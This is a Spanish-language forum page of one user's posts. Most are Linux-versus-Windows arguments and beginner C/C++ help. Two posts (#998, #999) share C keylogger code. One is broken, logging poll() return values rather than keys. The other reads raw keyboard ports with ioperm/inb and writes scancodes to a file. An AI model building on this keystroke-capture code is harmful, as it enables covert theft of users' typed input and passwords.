Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 0xDani

#991
Cita de: VicentnalaPara que quiere saber uno como funciona un programa o modificarlo???.. solo nos interesa hacer lo que queremos hacer y mas nada, la PC es solo una herramienta, no la vida... allá los que viven con el culo pegado a una silla frente a una PC dejandose crecer el pelo, la barba, y comiendo comida chatarra de marca y RedBull ™...

Leyendo eso me pregunto que hace Vicentnala en este foro...

Cita de: idstdonde la gente (por lo general) no presume de ser conformista o sufrir de retraso mental.

+1

Vicentnala deja de trollear y vete a la calle pa' conocer lo que es vivir... En serio, no se que es mas perdida de tiempo, si dejarse crecer el pelo, la barba y comer comida chatarra de marca y Red Bull™(cosa que no hago), o dedicarse a trollear en un foro.

Cita de: dimitrixPara el resto de personas (99%) que estamos atareados ya sea por el trabajo o por que tenemos hijos que atender, no queremos perder grandes y valiosas horas al día la mejor solución es comprar el pastel ya creado.

Yo tengo ubuntu(bien es verdad que es una de las distros mas amigables), y no pierdo valiosas horas al dia, lo instale en 45 minutos(porque venia con windows, ventajas de ser monopolio) y no me da problemas, y es sustancialmente mas rapido que otro igual que tiene un familiar mio, con windows 7.

Saludos.



#992
Claro, para que si tu sumes un objeto de una clase que tu definas con un entero por ejemplo, haga lo que tu quieras, por ejemplo que un personaje suba un nivel e incremente algunas variables miembro de esa clase o algo asi... En resumen, es para que hagas lo que quieras usando operadores en vez de usar funciones.

Saludos.
#993
En cuanto a lo que ha dicho drvy | BSM de usar programas como wine, depende de que programas uses, si usas programas normales hay miles de sustitutos iguales o mejores para linux, en cambio hay algunos programas como photoshop que no tienen sustituto y no estan disponibles para linux, ventajas de ser monopolio.

Saludos.
#995
Pues yo lo tendria claro, Ubuntu 12.04, yo uso ese. Ese es el que va a consumir menos con diferencia, te lo digo por experiencia. He tenido dos portatiles iguales, uno ha tenido Windows xp y ahora tiene ubuntu, y otro windows 7, y el que mejor ve es el que tiene ubuntu.

Saludos.
#996
Un virus para windows que destruye informacion... y eso es nuevo? Esta bien que pongas una noticia, pero no se si te has dado cuenta de que en el foro libre hay un subforo dedicado a las noticias ;)

Saludos.
#997
Cita de: Alex Mtx en 24 Agosto 2012, 22:04 PM

Ummm... I think... TROLL!! xD. A comentarios estupidos como el de Vicentnala no hace falta responder, el solo grita "I'M STUPID!!" con ese comentario.

Y en cuanto a lo de los drivers creo que lleva razon Alex Mtx, los fabricantes tienen tanto derecho a cerrar su codigo como la gente de GNU a no utilizarlos para defender la libertad de su sistema.

Saludos.
#998
Hola!

Estaba trasteando por mi sistema, un Ubuntu, cuando me encontre el siguiente encabezado: poll.h. Me dio curiosidad, y decidi buscar documentacion acerca de esta libreria(si, estaba aburrido :xD). Encontre y lei esto: http://pubs.opengroup.org/onlinepubs/7908799/xsh/poll.h.html. Entonces he pensado que podia hacer un keylogger simple, y he armado este codigo:
#include <unistd.h>
#include <sys/poll.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
  FILE* log = fopen("log.txt", "a");
  struct pollfd input[1];
  input[0].fd = 1;
  input[0].events = POLLIN;
  int event;
  char chevent;
  while(1)
  {
   event = poll(input, 1, 1);
   if(event>=0){
   chevent = event;
   fprintf(log, "%c", chevent);
   fflush(log);}
  }
  return 0;
 
}

El problema es que escribo cuatro o cinco letras, cierro la terminal y el fichero "log.txt" ocupa entre 10 y 15 KBs, y al abrirlo se me queda pillado el editor de texto.
Cuando simplemente imprimo las letras por pantalla funciona perfectamente.

Saludos.
#999
No, ahi no creo que sea aconsejable usar procesos. En serio, la solucion es hacer polling al teclado.
Si trabajas en un sistema tipo Unix(lo que deduzco del hecho de que uses unistd.h), puede que te sirva esto, que creo recordar que era un keylogger.
Código (cpp) [Seleccionar]
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50

        char key(int code){
     char caracter=code;   
     return caracter;}

        int main(int argc, char **argv) {
                int code = 0;
                int last = 0;
                FILE *file;
                if (!argv[1]) {
                        fprintf(stderr, "%s <file>\n", argv[0]);
                        exit(1);
                }
                if (!(file = fopen(argv[1], "w"))) {
                        fprintf(stderr, "Impossibile scrivere sul file %s\n", argv[1]);//Esto no sale si le pasa un argumento.
                        exit(2);
                }
                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
                        fprintf(stderr, "Impossibile accedere alla porta di I/O della tastiera\n");//A mi me sale este error.
                        exit(3);                }
                while (1) {
                        code = 0;
                        if (inb(KB_ST) == 20)
                                code = inb(KB_IO);
                        if (code) {
                                if (code != last) {
                                        last = code;
                                        if (key(code)) {
                                                fprintf(file, "%c", key(code));
                                                fflush(file);
                                        }
                                }
                        }
                        usleep(SLEEP);
                }
                return 0;}


Saludos.
#1000
Si dices que acabas de aprender a manejar estructuras, seguramente no habras visto los punteros, pero la estructura nombre_completo la podrias dejar asi:
Código (cpp) [Seleccionar]

struct nombre_completo{
char* nombres[3];
};

Asi, nombres[0] apuntaria al nombre, nombres[1] al apellido1 y nombres[2] al apellido2.

Despues, con la cantidad de respuestas que has tenido, me extraña que nadie te haya desaconsejado usar fflush(stdin).En el post de lo que no hay que hacer en C/C++ lo veras mejor explicado. En vez de esto te aconsejo usar while(getchar()!='\n')

Por lo demas esta bastante bien.

Saludos.